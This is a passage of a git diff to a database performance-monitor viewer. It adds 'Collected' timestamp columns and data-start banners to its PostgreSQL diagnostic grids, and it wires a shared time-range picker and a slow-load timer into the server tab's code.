-                           Foreground="{DynamicResource WarningTextBrush}" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
-                           Text="The long-query completion trace is OFF for this server. It is opt-in because a completion trace adds overhead on busy servers. Turn it on in Settings &#x2192; Collection Schedule &#x2192; Edit Collector Schedules&#x2026;, then tick the 'long_query_completions' Enabled box. Enabling it creates the Extended Events session on this server; disabling it drops the session."/>
-                <DataGrid Grid.Row="2" x:Name="LongQueryCompletionsGrid"
+                           Foreground="{DynamicResource WarningTextBrush}" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"/>
+                <!-- "Showing since <start>" when this server's long-query completions start after the range does: the earlier of the
+                     collector's coverage (DataWindowFloor) and the earliest event shown (#4966). -->
+                <TextBlock Grid.Row="2" x:Name="LongQueriesTruncationBanner" Visibility="Collapsed"
+                           Padding="8,4" FontWeight="Bold" Margin="0,0,0,8"
+                           Foreground="{DynamicResource ForegroundBrush}"
+                           Background="#22FFAA00"/>
+                <DataGrid Grid.Row="3" x:Name="LongQueryCompletionsGrid"
                           Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto"
                           CanUserSortColumns="True">
@@ -3932,6 +4120,8 @@
                                 </DataTemplate>
                             </DataGridTemplateColumn.CellTemplate>
                         </DataGridTemplateColumn>
+                        <!-- Latest row per extension, so the rows can come from different snapshots. -->
+                        <DataGridTextColumn Header="Collected" Binding="{Binding CaptureTime}" Width="150" SortMemberPath="CaptureTimeUtc"/>
                     </DataGrid.Columns>
                 </DataGrid>
 
@@ -3956,6 +4146,8 @@
                         <DataGridTextColumn Header="Change Needs" Binding="{Binding Context}" Width="120"/>
                         <DataGridTextColumn Header="Pending Restart" Binding="{Binding PendingRestart}" Width="120"/>
                         <DataGridTextColumn Header="Description" Binding="{Binding ShortDescription}" Width="*"/>
+                        <!-- The snapshot these settings came from; every row shares it. -->
+                        <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTime}" Width="150" SortMemberPath="CollectionTimeUtc"/>
                     </DataGrid.Columns>
                 </DataGrid>
 
@@ -3963,8 +4155,14 @@
                      layer further in: extensions say what this server CAN do, settings say what it was told
                      to do, this says what it is doing right now. Sourced from AWS Performance Insights
                      rather than a database connection. -->
-                <TextBlock Grid.Row="7" x:Name="PgCpuNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="7">
+                    <TextBlock x:Name="PgCpuNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgCpuDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="8" x:Name="PgCpuGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -3996,8 +4194,14 @@
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                             </Grid.RowDefinitions>
-                            <TextBlock Grid.Row="0" x:Name="PgBlockingNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="0">
+                                <TextBlock x:Name="PgBlockingNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgBlockingDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="1" x:Name="PgBlockingChainsGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4056,8 +4260,14 @@
 
                                  LoadPgActivityAsync is the only caller of LoadPgDeadlocksAsync, so this panel is filled
                                  by the load that fills the panels above it. -->
-                            <TextBlock Grid.Row="3" x:Name="PgDeadlocksNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="3">
+                                <TextBlock x:Name="PgDeadlocksNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgDeadlocksDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="4" x:Name="PgDeadlocksGrid" Style="{StaticResource DarkGrid}" MaxHeight="220"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4082,8 +4292,14 @@
                                  the family and severity filters live, this shows the window's newest 200.
 
                                  LoadPgActivityAsync is the only caller of LoadPgLogEventsAsync. -->
-                            <TextBlock Grid.Row="5" x:Name="PgLogEventsNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="5">
+                                <TextBlock x:Name="PgLogEventsNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgLogEventsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="6" x:Name="PgLogEventsGrid" Style="{StaticResource DarkGrid}" MaxHeight="220"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4120,8 +4336,14 @@
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
-                            <TextBlock Grid.Row="0" x:Name="PgLockStatsNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="0">
+                                <TextBlock x:Name="PgLockStatsNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgLockStatsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="1" x:Name="PgLockStatsGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4166,8 +4388,14 @@
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
-                            <TextBlock Grid.Row="0" x:Name="PgStatementsNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="0">
+                                <TextBlock x:Name="PgStatementsNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgStatementsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="1" x:Name="PgTopQueriesGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4193,8 +4421,14 @@
                                 </DataGrid.Columns>
                             </DataGrid>
                             <TextBlock Grid.Row="2" Text="Per-database counters — where the spills, the deadlocks and the rollbacks are" FontWeight="SemiBold" Margin="0,10,0,2"/>
-                            <TextBlock Grid.Row="3" x:Name="PgDatabasesNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="3">
+                                <TextBlock x:Name="PgDatabasesNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgDatabasesDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="4" x:Name="PgDatabaseStatsGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4217,8 +4451,14 @@
                                  time cannot separate a statement that WAITED from one that burned CPU.
                                  Same queryid, so the two rows are the same statement. -->
                             <TextBlock Grid.Row="5" Text="OS CPU and disk per statement - what the kernel actually charged" FontWeight="SemiBold" Margin="0,10,0,2"/>
-                            <TextBlock Grid.Row="6" x:Name="PgKernelStatsNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="6">
+                                <TextBlock x:Name="PgKernelStatsNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgKernelStatsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="7" x:Name="PgKernelStatsGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4240,8 +4480,14 @@
                                  JSON here is REDACTED at collection - auto_explain emits query text and
                                  filter literals verbatim, and neither reaches the store. -->
                             <TextBlock Grid.Row="8" Text="Captured execution plans - grouped by plan shape" FontWeight="SemiBold" Margin="0,10,0,2"/>
-                            <TextBlock Grid.Row="9" x:Name="PgCapturedPlansNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                                       Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <StackPanel Grid.Row="9">
+                                <TextBlock x:Name="PgCapturedPlansNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <TextBlock x:Name="PgCapturedPlansDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                            </StackPanel>
                             <DataGrid Grid.Row="10" x:Name="PgCapturedPlansGrid" Style="{StaticResource DarkGrid}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                                 <DataGrid.Columns>
@@ -4304,8 +4550,14 @@
                            Foreground="{DynamicResource ForegroundMutedBrush}"/>
 
                 <TextBlock Grid.Row="1" Text="1. Which session is holding a transaction open — and whether it pins anything at all" FontWeight="SemiBold" Margin="0,0,0,2"/>
-                <TextBlock Grid.Row="2" x:Name="PgSessionStatesNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="2">
+                    <TextBlock x:Name="PgSessionStatesNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgSessionStatesDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="3" x:Name="PgSessionStatesGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.RowStyle>
@@ -4369,8 +4621,14 @@
                 </DataGrid>
 
                 <TextBlock Grid.Row="4" Text="2. What holds the xmin horizon — vacuum cannot reclaim anything newer than this" FontWeight="SemiBold" Margin="0,10,0,2"/>
-                <TextBlock Grid.Row="5" x:Name="PgXminNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="5">
+                    <TextBlock x:Name="PgXminNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgXminDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="6" x:Name="PgXminHorizonGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -4392,8 +4650,14 @@
                 </DataGrid>
 
                 <TextBlock Grid.Row="7" Text="3. Autovacuum backlog — ranked by how far past each table's OWN threshold it is, not by raw dead tuples" FontWeight="SemiBold" Margin="0,10,0,2"/>
-                <TextBlock Grid.Row="8" x:Name="PgAutovacuumNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="8">
+                    <TextBlock x:Name="PgAutovacuumNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgAutovacuumDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="9" x:Name="PgAutovacuumGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.RowStyle>
@@ -4465,6 +4729,8 @@
                         <DataGridTextColumn Header="Satisfied" Binding="{Binding Satisfied}" Width="80"/>
                         <DataGridTextColumn Header="Observed" Binding="{Binding Observed}" Width="240"/>
                         <DataGridTextColumn Header="What it means / what to do" Binding="{Binding Detail}" Width="*"/>
+                        <!-- Newest row per facet, so the rows can come from different snapshots. -->
+                        <DataGridTextColumn Header="Collected" Binding="{Binding CaptureTime}" Width="150" SortMemberPath="CaptureTimeUtc"/>
                     </DataGrid.Columns>
                 </DataGrid>
 
@@ -4479,8 +4745,14 @@
                     <RowDefinition Height="Auto"/>
                     <RowDefinition Height="*"/>
                 </Grid.RowDefinitions>
-                <TextBlock Grid.Row="0" x:Name="PgWaitsNote" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="0">
+                    <TextBlock x:Name="PgWaitsNote" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgWaitStatsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="1" x:Name="PgWaitStatsGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -4496,8 +4768,14 @@
                      pg_wait_sampling and attributes each wait to the QUERY that waited, on any
                      PostgreSQL that loads the module. On most servers exactly one of the two has
                      rows, and which one it is says which instrument the server offers. -->
-                <TextBlock Grid.Row="2" x:Name="PgWaitSamplingNote" FontSize="12" Margin="0,12,0,8" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="2">
+                    <TextBlock x:Name="PgWaitSamplingNote" FontSize="12" Margin="0,12,0,8" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgWaitSamplingDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="3" x:Name="PgWaitSamplingGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -4530,8 +4808,14 @@
                     <RowDefinition Height="Auto"/>
                     <RowDefinition Height="*"/>
                 </Grid.RowDefinitions>
-                <TextBlock Grid.Row="0" x:Name="PgIoNote" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="0">
+                    <TextBlock x:Name="PgIoNote" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgIoStatsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="1" x:Name="PgIoStatsGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -4571,8 +4855,14 @@
                      26-column grid one row deep is unreadable and unsortable. Per-row also gives each
                      metric somewhere to carry its own note, which matters here because several are NULL for
                      a version reason rather than an absence-of-activity reason. -->
-                <TextBlock Grid.Row="2" x:Name="PgWriteStatsNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="2">
+                    <TextBlock x:Name="PgWriteStatsNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgWriteStatsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="3" x:Name="PgWriteStatsGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -4604,6 +4894,9 @@
                         <DataGridTextColumn Header="Avg Usage" Binding="{Binding AvgUsageCount}" ElementStyle="{StaticResource NumericCell}" Width="110"/>
                         <DataGridTextColumn Header="Pool Used" Binding="{Binding PoolBuffersUsed}" ElementStyle="{StaticResource NumericCell}" Width="110"/>
                         <DataGridTextColumn Header="Pool Total" Binding="{Binding PoolBuffersTotal}" ElementStyle="{StaticResource NumericCell}" Width="*"/>
+                        <!-- One collection for every row; a column rather than a label keeps this grid's time
+                             where every other snapshot grid has it. -->
+                        <DataGridTextColumn Header="Collected" Binding="{Binding CaptureTime}" Width="150" SortMemberPath="CaptureTimeUtc"/>
                     </DataGrid.Columns>
                 </DataGrid>
             </Grid>
@@ -4661,8 +4954,14 @@
                      WAL and exists with nobody attached; this is who is actually streaming. Worst-in-window
                      rides beside the latest value because a replica that drifts far behind and recovers
                      looks perfect in any single sample. -->
-                <TextBlock Grid.Row="2" x:Name="PgReplicationStatsNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="2">
+                    <TextBlock x:Name="PgReplicationStatsNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgReplicationStatsDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="3" x:Name="PgReplicationStatsGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.Columns>
@@ -4707,8 +5006,14 @@
                 </Grid.RowDefinitions>
                 <TextBlock Grid.Row="0" x:Name="PgStorageNote" FontSize="12" Margin="0,0,0,8" TextWrapping="Wrap"
                            Foreground="{DynamicResource ForegroundMutedBrush}"/>
-                <TextBlock Grid.Row="1" x:Name="PgTableBloatNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="1">
+                    <TextBlock x:Name="PgTableBloatNote" FontSize="12" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgTableBloatDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="2" x:Name="PgTableBloatGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.RowStyle>
@@ -4740,8 +5045,14 @@
                         <DataGridTextColumn Header="Confidence" Binding="{Binding Confidence}" Width="*"/>
                     </DataGrid.Columns>
                 </DataGrid>
-                <TextBlock Grid.Row="3" x:Name="PgIndexUsageNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
-                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                <StackPanel Grid.Row="3">
+                    <TextBlock x:Name="PgIndexUsageNote" FontSize="12" Margin="0,10,0,6" TextWrapping="Wrap"
+                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                    <TextBlock x:Name="PgIndexUsageDataStartBanner" Visibility="Collapsed" Margin="0,0,0,6" TextWrapping="Wrap"
+                               Padding="8,4" FontWeight="Bold"
+                               Foreground="{DynamicResource ForegroundBrush}"
+                               Background="#22FFAA00"/>
+                </StackPanel>
                 <DataGrid Grid.Row="4" x:Name="PgIndexUsageGrid" Style="{StaticResource DarkGrid}"
                           HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto" CanUserSortColumns="True">
                     <DataGrid.RowStyle>
@@ -4893,6 +5204,8 @@
                              are a sample and the panel has to say so. -->
                         <DataGridTextColumn Header="Sample Rate" Binding="{Binding SampleRate}" ElementStyle="{StaticResource NumericCell}" Width="110"/>
                         <DataGridTextColumn Header="Query ID" Binding="{Binding QueryId}" Width="*"/>
+                        <!-- Newest row per predicate, so the rows can come from different snapshots. -->
+                        <DataGridTextColumn Header="Collected" Binding="{Binding CaptureTime}" Width="150" SortMemberPath="CaptureTimeUtc"/>
                     </DataGrid.Columns>
                 </DataGrid>
             </Grid>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs
index 25b387383a..f3d6dcd5eb 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs
@@ -100,6 +100,7 @@ renumber each other and no drill-down that keys on a constant above can be broke
     private List<SelectableItem> _databaseFilterItems = new();
     private bool _isUpdatingDatabaseFilterSelection;
     private int _databaseFilterTotalCount;
+    private List<string>? _databaseFilterCollectedNames;
     private bool _databaseFilterDirty;
 
     /// <summary>The database filter as a reader argument: null (= All, unfiltered) when nothing is selected.</summary>
@@ -128,6 +129,8 @@ public ViewerServerTab(ViewerDataService dataService, DarlingServer server, View
             }
         }
         InitializeComponent();
+        /* #5565: every filtered grid below this tab keeps its column filters across a restart under this server. */
+        ColumnFilterScope.SetServer(this, _server.ServerName);
 
         /* Per-server toolbar identity label: the display name is static (it also heads the tab), while the
            freshness readout to its right is filled on the first (and every) refresh from the shared
@@ -202,14 +205,12 @@ themed up front + hover. */
            range handler no-ops while IsLoaded is false, and the checkbox handler no-ops while
            _autoRefreshTimer is still null — so seeding drives no premature reload or timer churn. */
         var toolbarDefaults = preferences ?? new ViewerPreferences();
-        TimeRangeCombo.SelectedIndex = toolbarDefaults.DefaultTimeRangeIndex;
+        InitializeRangePicker(toolbarDefaults);
         AutoRefreshCheckBox.IsChecked = toolbarDefaults.AutoRefreshEnabled;
         AutoRefreshIntervalCombo.SelectedIndex = toolbarDefaults.AutoRefreshIntervalIndex;
 
-        /* Per-server toolbar (this wave): populate the custom-range hour/minute combos and start the
-           auto-refresh timer at the toolbar's interval (seeded above). The settable window these controls
-           drive replaces the removed 24-hour s_dataWindow constant. */
-        InitializeTimeComboBoxes();
+        /* Per-server toolbar (this wave): start the auto-refresh timer at the toolbar's interval (seeded above). The
+           settable window the shared time range picker drives replaces the removed 24-hour s_dataWindow constant. */
         InitializeAutoRefreshTimer();
 
         /* Seed the toolbar's Server/Local/UTC picker from the persisted global mode (MainWindow set
@@ -252,6 +253,9 @@ private async void InnerTabs_SelectionChanged(object sender, SelectionChangedEve
             return;
         }
 
+        /* Compare works on three Queries sub-tabs only; off everywhere else (walk finding V10b). */
+        UpdateCompareDropdownState();
+
         /* A drill-down navigation switches the inner tab programmatically and runs its own targeted read;
            skip the generic loader so it doesn't race that (mirrors the sub-tab handlers' guard). */
         if (_suppressDrillDownAutoRefresh)
@@ -293,6 +297,10 @@ visible tab renders (the viewer's visible-only rule), so its offset wins. Loaded
                Health tab, which is why it went unnoticed. Badge it so it is discoverable from any tab. */
             await UpdatePermissionDeniedBadgeAsync();
 
+            /* #5562: redraw the picker's resolved range from the clock (a range that slides with now) and refresh its
+               "collected every N minutes" note (set for the page on screen in the load loop below, before each tab's load). */
+            RefreshRangePicker();
+
             do
             {
                 _refreshRequested = false;
@@ -301,6 +309,9 @@ visible tab renders (the viewer's visible-only rule), so its offset wins. Loaded
                 do
                 {
                     loadedTab = InnerTabs.SelectedIndex;
+                    /* L3: a tab switched to during this load changes the page on screen, so its note is set here too, not only
+                       at the top of the pass. */
+                    await UpdateSampleIntervalAsync();
                     await LoadInnerTabAsync(loadedTab);
                 }
                 while (InnerTabs.SelectedIndex != loadedTab);
@@ -372,6 +383,7 @@ private async Task UpdateServerFreshnessLabelAsync()
 
     private async Task LoadInnerTabAsync(int tabIndex)
     {
+        var timer = new ViewerLoadTimer();
         try
         {
             switch (tabIndex)
@@ -383,7 +395,7 @@ private async Task LoadInnerTabAsync(int tabIndex)
                     await LoadLatchSpinlockAsync();
                     break;
                 case QueriesInnerTabIndex:
-                    await LoadQueriesAsync();
+                    await LoadQueriesAsync(timer);
                     break;
                 case PlanViewerInnerTabIndex:
                     /* No data feed: plans are pushed into the host by OpenPlanTab (a "View Plan" click),
@@ -430,7 +442,7 @@ not loaded on tab-switch. Explicit no-op so selecting it doesn't fall through to
                     await LoadSystemEventsAsync();
                     break;
                 case LongQueriesInnerTabIndex:
-                    await LoadLongQueriesAsync();
+                    await LoadLongQueriesAsync(timer);
                     break;
 
                 /* #2530: the PostgreSQL run. Explicit arms, never the default: falling through to
@@ -472,8 +484,26 @@ this issue is about. */
         {
             StatusChanged?.Invoke($"refresh failed: {ex.Message}");
         }
+        finally
+        {
+            /* Walk finding D15: a slow load (over ViewerLoadTimer.SlowLoadThresholdMs) names its tab and where the time went. */
+            var slow = timer.Finish(InnerTabLoadName(tabIndex, (tabIndex >= 0 && tabIndex < InnerTabs.Items.Count ? InnerTabs.Items[tabIndex] as TabItem : null)?.Header));
